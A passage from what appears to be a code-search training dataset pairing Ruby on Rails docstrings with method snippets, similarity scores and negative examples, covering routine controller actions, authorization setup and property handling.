"def initialize( opts = {} )\n @properties = self.class.properties\n end",
"def initialize(name, monday_hours, wednesday_hours)\n @name = name\n @availability = {\n :monday => monday_hours.split(\",\").collect {|h| h.strip},\n :wednesday => wednesday_hours.split(\",\").collect {|h| h.strip}\n }\n end",
"def properties\n $properties ||= Properties.new\n end",
"def put_props\n # Generic properties\n props = {}\n props[\"general\"] = {\n \"name\" => @assessment.name,\n \"display_name\" => @assessment.display_name,\n \"description\" => @assessment.description,\n \"handin_filename\" => @assessment.handin_filename,\n \"handin_directory\" => @assessment.handin_directory,\n \"max_grace_days\" => @assessment.max_grace_days,\n \"handout\" => @assessment.handout,\n \"writeup\" => @assessment.writeup,\n \"allow_unofficial\" => @assessment.allow_unofficial,\n \"max_submissions\" => @assessment.max_submissions,\n \"disable_handins\" => @assessment.disable_handins,\n \"max_size\" => @assessment.max_size\n }\n\n # Make sure we don't have any nil values in the\n # hash. Otherwise, the model will complain when we try to\n # update properties.\n props[\"general\"][\"display_name\"] = \"\" if !props[\"general\"][\"display_name\"]\n props[\"general\"][\"description\"] = \"\" if !props[\"general\"][\"description\"]\n props[\"general\"][\"handin_filename\"] = \"\" if !props[\"general\"][\"handin_filename\"]\n props[\"general\"][\"handin_directory\"] = \"\" if !props[\"general\"][\"handin_directory\"]\n props[\"general\"][\"max_grace_days\"] = 0 if !props[\"general\"][\"max_grace_days\"]\n props[\"general\"][\"handout\"] = \"\" if !props[\"general\"][\"handout\"]\n props[\"general\"][\"writeup\"] = \"\" if !props[\"general\"][\"writeup\"]\n props[\"general\"][\"allow_unofficial\"] = false if !props[\"general\"][\"allow_unofficial\"]\n props[\"general\"][\"disable_handins\"] = false if !props[\"general\"][\"disable_handins\"]\n props[\"general\"][\"max_submissions\"] = -1 if !props[\"general\"][\"max_submissions\"]\n props[\"general\"][\"max_size\"] = 2 if !props[\"general\"][\"max_size\"]\n\n # Category name\n c = AssessmentCategory.find_by_id(@assessment.category_id)\n props[\"general\"][\"category\"] = c.name\n \n # Array of problems (an array because order matters)\n props[\"problems\"] = Array.new\n probs = Problem.where(:assessment_id=>@assessment.id)\n for p in probs do \n pelem = {}\n pelem[\"name\"] = p.name\n pelem[\"description\"] = p.description\n pelem[\"max_score\"] = p.max_score\n pelem[\"optional\"] = p.optional\n props[\"problems\"] << pelem\n end\n \n # Scoreboard properties (if any)\n props[\"scoreboard\"] = {}\n scoreboard_prop = ScoreboardSetup.find_by_assessment_id(@assessment.id)\n if scoreboard_prop then\n props[\"scoreboard\"] = {\n \"banner\" => scoreboard_prop[\"banner\"],\n \"colspec\" => scoreboard_prop[\"colspec\"]\n }\n end\n\n # Autograde properties (if any)\n props[\"autograde\"] = {}\n autograde_prop = AutogradingSetup.find_by_assessment_id(@assessment.id)\n if autograde_prop then\n props[\"autograde\"] = {\n \"autograde_image\" => autograde_prop[\"autograde_image\"],\n \"autograde_timeout\" => autograde_prop[\"autograde_timeout\"],\n \"release_score\" => autograde_prop[\"release_score\"]\n } \n end\n\n # Now dump the properties \n filename = File.join(Rails.root, \"courses\", @course.name, \n @assessment.name, \"#{@assessment.name}.yml\") \n begin\n f = File.open(filename, 'w')\n f.puts YAML.dump(props)\n f.close\n rescue Exception=>e\n return false\n end\n return true\n end",
"def set_availabilities(availabilities)\n availabilities.each do |availability|\n date = availability['DATE']\n available = availability['MAX_LOS'].to_i > 0 && availability['AVAILABLE_UNITS'].to_i > 0\n entry = find_entry(date)\n\n unless entry\n entry = build_entry(date)\n entries << entry\n end\n\n entry.available = available\n end\n end",
"def set_availability\n @availability = Availability.find(params[:id])\n end",
"def set_availability\n @availability = Availability.find(params[:id])\n end",
"def set_availability\n @availability = Availability.find(params[:id])\n end",
"def set_availability\n @availability = Availability.find(params[:id])\n end",
"def logical_properties(disks)\n properties = Mash.new\n disks.each do |disk|\n property = Mash.new\n drive = disk[\"deviceid\"]\n property[:kb_size] = disk[\"size\"].to_i / 1000\n property[:kb_available] = disk[\"freespace\"].to_i / 1000\n property[:kb_used] = property[:kb_size] - property[:kb_available]\n property[:percent_used] = (property[:kb_size] == 0 ? 0 : (property[:kb_used] * 100 / property[:kb_size]))\n property[:mount] = disk[\"name\"]\n property[:fs_type] = disk[\"filesystem\"].to_s.downcase\n property[:volume_name] = disk[\"volumename\"].to_s.downcase\n properties[drive] = property\n end\n properties\n end",
"def create_fields\n self.class.required_on_create.each{|key| @properties[key] ||= \"\"} # Add required fields\n self.class.never_on_create.each{|key| @properties.delete(key)} # Remove prohibited fields\n @properties\n end",
"def initialize(objs, set_key, start_key, stop_key)\n # build an interval tree of objects going from start_key to stop_key for each set_key\n end",
"def creation_attributes\n { }\n end",
"def monit_check_config\n {\n :name => new_resource.name, :check_type => new_resource.check_type,\n :check_id => new_resource.check_id, :id_type => new_resource.id_type,\n :group => new_resource.group, :start_as => new_resource.start_as,\n :start_as_group => new_resource.start_as_group,\n :start => new_resource.start, :stop => new_resource.stop,\n :stop_as => new_resource.stop_as,\n :stop_as_group => new_resource.stop_as_group,\n :every => new_resource.every, :tests => new_resource.tests,\n :alert => new_resource.alert, :but_not_on => new_resource.but_not_on,\n :alert_events => new_resource.alert_events\n }\n end",
"def get\n begin\n @compute_client.availability_sets.get(@rg_name, @as_name)\n rescue MsRestAzure::AzureOperationError => e\n # if the error is that the availability set doesn't exist,\n # just return a nil\n if e.response.status == 404\n puts 'Availability Set Not Found! Create It!'\n return nil\n end\n OOLog.fatal(\"Error getting availability set: #{e.body}\")\n rescue => ex\n OOLog.fatal(\"Error getting availability set: #{ex.message}\")\n end\n end",
"def create(name)\n @name=name\n @vserver_hash=Map.new.set(:properties, :basic, :pool)\n end",
"def initial_status_data_for(resource, include_details)\n initial_data =\n if resource.api_type == 'nodes'\n {\n totalcores: 0,\n busycounter: 0,\n besteffortcounter: 0\n }\n else\n {}\n end\n initial_data[:reservations] = Set.new if include_details\n initial_data\n end",
"def create\n @assignment = Assignment.new(assignment_params)\n @assignment.save!\n timeslot = @assignment.timeslot\n timeslot.availability!\n\n render :json => true\n end",
"def create\n cnt = params[:tutor_availability][:repeat].to_i - 1\n params[:tutor_availability].delete :repeat\n @tutor_availability = TutorAvailability.new(params[:tutor_availability])\n\n respond_to do |format|\n if @tutor_availability.save\n if cnt > 0\n for i in 1..cnt\n new_ta = TutorAvailability.new(params[:tutor_availability])\n new_ta.start_time = @tutor_availability.start_time + 604800*i\n new_ta.save\n end\n end\n format.html { redirect_to tutor_availabilities_path, notice: 'Tutor availability was successfully created.' }\n format.json { render json: @tutor_availability, status: :created, location: @tutor_availability }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tutor_availability.errors, status: :unprocessable_entity }\n end\n end\n end",
"def hash\n [property_code, property_name, location, address, total_price, min_daily_rate, contacts, amenities, awards, images, rooms, more_rooms_at_this_hotel].hash\n end",
"def initialize_properties_with_values_from_owner(entity)\n entity\n end",
"def values_for_properties; end",
"def required_properties; end"
] | [
"0.73205966",
"0.6218059",
"0.62093174",
"0.61300576",
"0.6094609",
"0.60843354",
"0.6009558",
"0.5990049",
"0.59778494",
"0.5895734",
"0.585492",
"0.58155525",
"0.58021295",
"0.57202053",
"0.57202053",
"0.5701352",
"0.5646623",
"0.55853707",
"0.55706793",
"0.5565353",
"0.54794323",
"0.5468661",
"0.54483104",
"0.54344726",
"0.5405602",
"0.5401618",
"0.5380002",
"0.5377076",
"0.53220403",
"0.53168964",
"0.5309977",
"0.5309977",
"0.5309977",
"0.5309977",
"0.5309977",
"0.5309977",
"0.5309977",
"0.5309977",
"0.530611",
"0.5298541",
"0.5293912",
"0.5292578",
"0.528045",
"0.52775955",
"0.5251585",
"0.5249565",
"0.5249295",
"0.52492386",
"0.522291",
"0.5222229",
"0.5209038",
"0.520176",
"0.5200045",
"0.51939964",
"0.5185375",
"0.51688457",
"0.5157586",
"0.5142865",
"0.513932",
"0.5137878",
"0.51350534",
"0.51350534",
"0.51273614",
"0.5117611",
"0.51112103",
"0.51101226",
"0.51077384",
"0.510015",
"0.50933623",
"0.5088907",
"0.5079217",
"0.50768775",
"0.50675267",
"0.5065172",
"0.5054505",
"0.50509477",
"0.50505334",
"0.5049669",
"0.5046819",
"0.5039332",
"0.5038397",
"0.50382894",
"0.503352",
"0.503352",
"0.503352",
"0.503352",
"0.5031788",
"0.5031454",
"0.5027722",
"0.5023337",
"0.50176096",
"0.5009554",
"0.50021553",
"0.50010234",
"0.4993836",
"0.4984005",
"0.4980261",
"0.49778095",
"0.4976997",
"0.4976032"
] | 0.71745366 | 1 |
Marks the current model as a canhaz subject for authorizations | def acts_as_canhaz_object
include Canhaz::Mongoid::ObjectExtensions
class_eval do
has_many :permissions_subjects, :class_name => 'Canhaz::Mongoid::Permission', :inverse_of => 'cobject'
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def assign_canned_subject\n self.subject = canned_subject\n end",
"def set_customer\n @customer = Customer.find(params[:id])\n \tauthorize [:admin, @customer]\n end",
"def authorizer\n current_ability\n end",
"def set_course\n @course = Course.find(params[:id])\n authorize @course\n end",
"def set_content\n @content = Content.find(params[:id])\n \tauthorize [:admin, @content]\n end",
"def authorize \n self.make 'authorization' \n end",
"def type_authorization!()\n @type = TAC_PLUS_AUTHOR\n end",
"def set_company\n @company = Company.find(params[:id])\n authorize @company\n end",
"def set_resource\n @course = Course.find(params[:id])\n authorize @course\n end",
"def set_authorization\n Authorization.current_user = current_user\n end",
"def set_cancion\n @cancion = Cancion.find(params[:id])\n end",
"def set_cancion\n @cancion = Cancion.find(params[:id])\n end",
"def set_cancion\n @cancion = Cancion.find(params[:id])\n end",
"def set_custody\n @custody = Custody.find(params[:id])\n end",
"def makec\n @user.add_role :celebrity\n render nothing: true\n end",
"def set_customer\n header = get_header()\n @customer = Authorize.authorize_request(header)\n end",
"def set_customer\n header = get_header()\n @customer = Authorize.authorize_request(header)\n end",
"def set_subject(subject)\n\t\tend",
"def authorize_manage_obj_content!\n authorize! :manage_content, @object\n end",
"def index\n @curriculum_subjects = Subject.all.where(is_core: false, is_pivats: false, is_lunch: false, is_tutorial: false, is_ppa: false)\n @core_subjects = Subject.all.where(is_core: true, is_pivats: false)\n authorize @curriculum_subjects\n\n @subject = Subject.new\n @subject.sub_subjects.build\n # authorize @curriculum_subjects\n\n end",
"def author\n if @subject.user_id > 0\n unless (current_user.sk == @subject.user || (current_user.sk.admin && !@subject.user.admin) || current_user.sk.root)\n render 'errors/access_refused' and return\n end\n else # Message automatique\n unless current_user.sk.root\n render 'errors/access_refused' and return\n end\n end\n end",
"def authorize(_subject, _auth)\n false\n end",
"def sign_cla!\n self.authorized_to_contribute = true\n save!\n end",
"def set_toy\n @toy = Toy.find(params[:id])\n authorize @toy\n end",
"def set_article\n @business = Business.find(params[:id])\n authorize @business\n end",
"def authenticated_as_course_editor\n authenticated_as_user\n return if performed?\n\n set_current_course\n bounce_user unless current_course.can_edit?(current_user)\n end",
"def set_authorization\n @user ||= current_user\n authorize @user\n end",
"def set_acl_statement\n super\n end",
"def set_author_on_subject(author, subject)\n if content = subject.contents.first\n content.update_attributes(\n authorable_id: author.id,\n authorable_type: author.class.name\n )\n end\n end",
"def set_career_subject\n @career_subject = CareerSubject.find(params[:id])\n end",
"def authorize_author\n redirect_to '/login' unless self.user_access > 1 || current_user.access == 3\n end",
"def set_car\r\n @car = Car.find(params[:id])\r\n authorize @car\r\n end",
"def set_author\n author_reference.reference = \"Patient/#{user.icn}\"\n end",
"def show\n authorize @career\n end",
"def set_current_user\n current_user\n authorize\n end",
"def set_survey_template\n @survey_template = SurveyTemplate.find(params[:id])\n authorize @survey_template\n @organization = @survey_template.organization\n end",
"def authorization; end",
"def set_user\n authorize\n @user = current_user\n end",
"def yes_email_customer_from_authorizes_side\n add_field 'x_email_customer', 'TRUE'\n end",
"def define_eccept\n if current_user.info.id==@resource.id || can_manage_has_one(current_user.info, @resource, @model)\n return true\n else\n redirect_to root_path \n end\n end",
"def set_becario\n @becario = Becario.find(params[:id])\n # authorize @becario\n end",
"def set_claimauthorization\n @claimauthorization = Claimauthorization.find(params[:id])\n end",
"def authorize\n run_callbacks :authorize do\n\n policy = Pundit.policy!(context.fetch(:current_token), @model)\n permission = \"#{context.fetch(:current_action)}?\"\n\n unless policy.public_send(permission)\n raise Pundit::NotAuthorizedError.new(query:permission, record: @model, policy: policy)\n end\n end\n end",
"def set_authorize_org\n @org = Org.find(params[:id])\n authorize(@org)\n end",
"def authorize_leader!\n raise CanCan::AccessDenied if current_user.managed_chapters.count.zero?\n end",
"def authorize_pot\n authorize @pot, :contribute?\n end",
"def save\n self.approved = true\n super\n end",
"def set_bike\n @bike = Bike.find(params[:id])\n authorize @bike\n end",
"def authorize\n end",
"def authorize\n end",
"def set_current_user\n Authorization.current_user = current_user\n end",
"def set_current_user\n Authorization.current_user = current_user\n end",
"def set_user\n @clinician = current_user\n end",
"def set_invoice\r\n @invoice = Invoice.find(params[:id])\r\n authorize @invoice\r\n end",
"def write_permission(model, cancan_action, name)\n permission = Permission.find(:first, :conditions => [\"subject_class = ? and action = ?\", model, cancan_action])\n unless permission\n permission = Permission.new\n permission.name = name\n permission.subject_class = model\n permission.action = cancan_action\n permission.save\n end\nend",
"def write_permission(model, cancan_action, name)\n permission = Permission.find(:first, :conditions => [\"subject_class = ? and action = ?\", model, cancan_action])\n unless permission\n permission = Permission.new\n permission.name = name\n permission.subject_class = model\n permission.action = cancan_action\n permission.save\n end\nend",
"def set_subject_carrer_user\n @subject_carrer_user = SubjectCarrerUser.find(params[:id])\n end",
"def pre_authorize_cb; end",
"def set_claimppriorauthorization\n @claimppriorauthorization = Claimppriorauthorization.find(params[:id])\n end",
"def authorize_user!\n \n unless can?(:manage, @question)\n flash[:alert] = \"Access denied!\"\n redirect_to root_path\n end\n end",
"def set_subject_access_request\n @subject_access_request = SubjectAccessRequest.find(params[:id])\n end",
"def set_cancha\n @cancha = Cancha.find(params[:id])\n end",
"def set_cancha\n @cancha = Cancha.find(params[:id])\n end",
"def set_customer\n if signed_in?\n # technically we need nothing here\n end\n end",
"def on subject\n @subject = subject\n self\n end",
"def edit\n authorize @car\n end",
"def subject; end",
"def subject; end",
"def subject; end",
"def subject; end",
"def subject; end",
"def subject; end",
"def subject; end",
"def subject; end",
"def subject; end",
"def subject; end",
"def subject; end",
"def subject; end",
"def subject; end",
"def subject; end",
"def subject; end",
"def subject; end",
"def subject; end",
"def subject; end",
"def pre_authorize_cb=(_arg0); end",
"def authorize\n yield AuthorizeMe::RoleDefinition.new(self)\n end",
"def set_master\n @master = Master.find(params[:id])\n authorize @master\n end",
"def authorized(m)\n m.user == current_user\n end",
"def authorize_for_all_guests\n # Clear all authorizations and create an allow-all entry\n #ContentAuthorization.transaction do\n update_privacy_level(ContentAuthorization::AuthPrivate)\n clear_accessors\n #end\n end",
"def assign_role_to_submitter\n submitter.add_role 'track_organizer', self\n end",
"def define_eccept\n if current_user.info.id == @resource.id || can_manage_has_one(current_user.info, @resource, Info)\n true\n else\n redirect_to root_path\n end\n end",
"def authorize_for_all\n # Clear all authorizations and create an allow-all entry\n ContentAuthorization.transaction do\n update_privacy_level(ContentAuthorization::AuthPublic)\n clear_accessors\n end\n end",
"def ckeditor_before_create_asset(asset)\n asset.assetable = current_user\n return true\n end",
"def set_request\n @request = Request.find(params[:id])\n authorize @request\n end",
"def author\n if @submission.user != current_user.sk\n render 'errors/access_refused' and return\n end\n end",
"def save\n response = if @id.nil?\n Cloud.instance.post ['cloud-service-auth', 'accounts', @account.id, 'authorities'], self\n else\n raise 'editing authorities not supported'\n # @cloud.put [\"cloud-service-auth\", \"principals\", @id], self\n end\n apply_data(response.body)\n self\n end",
"def authorize_owner_and_planner\n\n can :manage, AttachedDocument do |doc|\n curr_organization == doc.plan.organization\n end\n end",
"def authorize_customer\n unless @reservation.customer == current_customer\n redirect_to reservations_url, notice: 'No touchy!'\n # edit this?\n end\n end",
"def owner\n @mycars = Car.where(user_id: @user.id)\n authorize @mycars\n end",
"def set_student\n @student = Student.find params[:id]\n authorize @student\n end"
] | [
"0.64719343",
"0.5896642",
"0.57816106",
"0.5768552",
"0.5690575",
"0.56610197",
"0.55483085",
"0.55109125",
"0.5484293",
"0.54701066",
"0.5452519",
"0.5452519",
"0.5452519",
"0.54390347",
"0.5424163",
"0.5422204",
"0.5422204",
"0.54215163",
"0.54131734",
"0.5393618",
"0.53801966",
"0.53742635",
"0.5360413",
"0.53601927",
"0.53601575",
"0.5353893",
"0.53494895",
"0.5346005",
"0.5311638",
"0.5306536",
"0.53064215",
"0.5279495",
"0.52768606",
"0.5275307",
"0.5253945",
"0.52526236",
"0.5232289",
"0.52308655",
"0.5218328",
"0.519556",
"0.51938206",
"0.5183565",
"0.51764584",
"0.5174288",
"0.51724076",
"0.5152579",
"0.51325977",
"0.51294684",
"0.51281404",
"0.51281404",
"0.51260346",
"0.51260346",
"0.51188254",
"0.5110622",
"0.5099935",
"0.5099935",
"0.50979936",
"0.50953513",
"0.509028",
"0.50867194",
"0.50817627",
"0.50772834",
"0.50772834",
"0.50716996",
"0.50707066",
"0.5069216",
"0.5058421",
"0.5058421",
"0.5058421",
"0.5058421",
"0.5058421",
"0.5058421",
"0.5058421",
"0.5058421",
"0.5058421",
"0.5058421",
"0.5058421",
"0.5058421",
"0.5058421",
"0.5058421",
"0.5058421",
"0.5058421",
"0.5058421",
"0.5058421",
"0.5055117",
"0.50491226",
"0.50434625",
"0.50429237",
"0.50386226",
"0.5037502",
"0.5029294",
"0.50247294",
"0.5019554",
"0.501757",
"0.50162584",
"0.50149375",
"0.5013529",
"0.49982274",
"0.4997373",
"0.49957934"
] | 0.60927516 | 1 |
GET /ingresos GET /ingresos.xml | def index
@ingresos = Ingreso.all
respond_to do |format|
format.html # index.html.erb
format.xml { render :xml => @ingresos }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show\n @ingreso = Ingreso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ingreso }\n end\n end",
"def get_xml\n response = @api.request(:get, @location, type: 'xml')\n response.body if response.status == 200\n end",
"def get_listings_xml(url)\n @client.get_content(url)\n end",
"def index\n @requests = Request.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @requests }\n end\n end",
"def timeline\n @bookings = Booking.find_waiting_pickup\n respond_to do |format|\n format.xml\n end\n end",
"def show\n @inning = Inning.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @inning }\n end\n end",
"def show\n @inning = Inning.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @inning }\n end\n end",
"def index\n @oils = Oil.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @oils }\n end\n end",
"def index\n @pesos = Peso.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pesos }\n end\n end",
"def index\n @asistencias = Asistencia.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @asistencias }\n end\n end",
"def index\n @dinings = Dining.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @dinings }\n end\n end",
"def index\n @solicitudes = Solicitud.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @solicitudes }\n end\n end",
"def index\n @savings = @advance.savings\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @savings }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @alimentos }\n end\n end",
"def xml(id)\n http.get(\"/nfse/#{id}/xml\") do |response|\n response.headers.fetch(\"Location\") { \"\" }\n end\n end",
"def show\n @gallion = Gallion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @gallion }\n end\n end",
"def show\n @ingredient = Ingredient.find(params[:id])\n\n respond_to do |format|\n format.xml { render :xml => @ingredient }\n end\n end",
"def show\n @nossos_servico = NossosServico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @nossos_servico }\n end\n end",
"def index\n @exposures = Exposure.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @exposures }\n end\n end",
"def show\n @listing = Listing.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @listing }\n end\n end",
"def feed\n @bookings = Booking.find_waiting_pickup\n respond_to do |format|\n format.rss\n end\n end",
"def index\n @ganhos = Ganho.find_by_user(current_user)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ganhos }\n end\n end",
"def index\n @documentos = @externo.documentos.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @documentos }\n end\n end",
"def index\n @ingrediences = Ingredience.search(params[:search], params[:page],10) \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ingrediences }\n end\n end",
"def show\n @glosario = Glosario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @glosario }\n end\n end",
"def index\n @feria2010observaciones = Feria2010observacion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @feria2010observaciones }\n end\n end",
"def index\n @meant_it_rels = MeantItRel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @meant_it_rels }\n end\n end",
"def path\n \"/onca/xml\"\n end",
"def index\n @pos = Po.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pos }\n end\n end",
"def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @coating }\n end\n end",
"def show\n @viewing = Viewing.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @viewing }\n end\n end",
"def index\n @pagos = Pago.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pagos }\n end\n end",
"def index\n @shipping_terms = ShippingTerm.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @shipping_terms }\n end\n end",
"def disp_xml_rq\n body= File.open(\"public/OTA/OTA_HotelAvailRQ100.xml\").read\n render :xml => body\n end",
"def index\n @relationships = Relationship.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @relationships }\n end\n end",
"def index\n @installation = Installation.find(params[:installation_id]) \n @onposts = @installation.onposts \n \n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @onposts }\n end\n end",
"def index\n @scotty_dog_sayings = ScottyDogSaying.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @scotty_dog_sayings }\n end\n end",
"def index\n @estatus = Estatu.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @estatus }\n end\n end",
"def show\n @bingo = Bingo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bingo }\n end\n end",
"def index\n @nodes = Node.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @nodes }\n end\n end",
"def index\n @nodes = Node.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @nodes }\n end\n end",
"def index\n @eventos = Evento.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @eventos }\n end\n end",
"def index\n @pagos = Pago.find(:all)\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pagos }\n end\n end",
"def index\n @entradas = Entrada.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @entradas }\n end\n end",
"def index\n @graphics = Graphic.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @graphics }\n end\n end",
"def show\n @wing = Wing.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @wing }\n end\n end",
"def index\n\t\t@people = Person.all\n\t\t# respond_to do |format|\n\t\t# \tformat.xml { send_data @entries.to_xml, :type => 'text/xml; charset=UTF-8;', :disposition => 'attachment; filename=entries.xml'}\n\t\t# end\n\tend",
"def index\n @spots = Spot.find(:all) \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @spots }\n end\n end",
"def index\n @avisos = Aviso.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @avisos }\n end\n end",
"def index\n @st_pis = StPi.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @st_pis }\n end\n end",
"def index\n @details = @listing.details.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @details }\n end\n end",
"def index\n @ingredients = Ingredient.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @ingredients.to_xml }\n end\n end",
"def index\n @ingredients = Ingredient.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ingredients }\n end\n end",
"def show\n @building = Building.find(params[:id])\n \n render :xml => @building\n # respond_to do |format|\n # format.html # show.html.erb\n # format.xml { render :xml => @building }\n # end\n end",
"def index\n @ganglia_graphs = GangliaGraph.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ganglia_graphs }\n end\n end",
"def index\n @nanos = Nano.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @nanos.to_xml }\n end\n end",
"def new\n @ingreso = Ingreso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ingreso }\n end\n end",
"def index\n @procesos = Proceso.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @procesos }\n end\n end",
"def show\n @inventario = Inventario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @inventario }\n end\n end",
"def show\n @savings = Savings.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @savings }\n end\n end",
"def show\n @allergen = Allergen.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @allergen }\n end\n end",
"def index\n @omatsuris = Omatsuri.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @omatsuris }\n format.json { render :json => @omatsuris }\n end\n end",
"def index\n @st_ipis = StIpi.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @st_ipis }\n end\n end",
"def show\n @tso = Tso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tso.to_xml(:except => [ :created_at, :updated_at ]) }\n end\n end",
"def index\n @peeps = Peep.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @peeps }\n end\n end",
"def api_xml(path,method=:get,options={})\n xml_message(amee,\"/data\"+path,method,options)\n end",
"def index\n @shots = Shot.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @shots }\n end\n end",
"def ping\n @status = Status.find(:first)\n respond_to do |format|\n format.html\n format.xml { render :xml => @status }\n end \n end",
"def index\n @lancamentos = Lancamento.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @lancamentos }\n end\n end",
"def index\n @organs = Organ.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @organs }\n end\n end",
"def index\n @datos = Dato.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @datos }\n end\n end",
"def index\n @promotion_boxes = PromotionBox.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @promotion_boxes }\n end\n end",
"def show\n @ingrediente = Ingrediente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ingrediente }\n end\n end",
"def index\n @progres = Progre.paginate(:page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @progres }\n end\n end",
"def download_xml\n\t\turi = URI.parse(\"http://www.esmadrid.com/opendata/tiendas_v1_es.xml\")\n\t\tresponse = Net::HTTP.get_response(uri)\n\t\tcontent = response.body\n\n\t\txml = REXML::Document.new(content)\n\n\t\treturn xml\n\tend",
"def show\n @posting = Posting.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @posting }\n end\n end",
"def show\n @posting = Posting.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @posting }\n end\n end",
"def info\n get '/'\n end",
"def index\n @jido_guardian_rels = JidoGuardianRel.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @jido_guardian_rels }\n end\n end",
"def index\n @cuentas = Cuenta.all\n\n @cadena = getcuentasxml\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @cadena }\n end\n end",
"def index\n @tipo_lancamentos = TipoLancamento.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tipo_lancamentos }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @infraction_types }\n end\n end",
"def index\n @node = Fedora.rest('rest/')\n end",
"def index\n @invitados = Invitado.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @invitados }\n end\n end",
"def index\n @shipping_fees = ShippingFee.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @shipping_fees }\n end\n end",
"def show\n @costing = Costing.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @costing }\n end\n end",
"def index\n @spielbegegnungs = Spielbegegnung.all\n #@spieler_tipps = current_user.tippgemeinschafts.first.tipps\n \n \n \n respond_to do |format|\n format.html # index.html.erb\n format.xml #{ render :xml => @spielbegegnungs }\n end\n end",
